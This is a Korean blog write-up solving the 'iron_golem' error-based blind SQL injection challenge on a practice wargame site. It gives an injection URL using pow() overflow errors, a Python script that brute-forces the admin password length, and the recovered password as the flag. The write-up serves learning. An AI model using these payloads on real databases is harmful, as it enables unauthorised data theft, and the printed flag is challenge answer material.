반응형
분석
브루트포싱 문제,,
sleep, benchmark 막힙니다.
pw만 입력받습니다.
참 거짓을 판별하기 위한 Hello admin 부분이 없습니다.
완전한 블라인드 sql injection 같은..
sleep, benchmark가 막혀서 time_based sql injection은 어려울 것 같고..
그럼 error based?
보아하니 if(mysqli_error($db)) exit(mysqli_error($db)); 라고 기존에 없던 부분이 있는데
https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20pow(2,9999)%23
이렇게 쿼리를 전달해주면
에러가 출력됩니다.
그럼 error based sql injection을 해서
if문을 가지고 길이부터 찾아봅시다.
풀이
import requests
url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?'
cookie = {'PHPSESSID': 'ㅋㅋ'}
for i in range(1, 100) :
query = 'pw=\'or if(id=\'admin\' and length(pw)={}, pow(2,99999), 0) %23'.format(i)
print(query, i)
req = requests.get(url+query, cookies=cookie)
if('out of range' in req.text) :
print('len:', i)
break
if 문으로 길이를 구하면
if 문 사용은 if(조건, 참일 때 값, 거짓일 때 값)
길이는 32가 나옵니다.
이와 비슷하게 substr을 사용해서 (substr은 쿼리, 시작, 시작으로부터 얼마나)
뭐야 왜 다 숫자야
앗 따옴표를 빼먹었넹
흐뭇한 모습
결과!
06b5a6c16e8830475f983cc3a825ee9a
error-based sql injection 입문으로 좋은 문제네요
반응형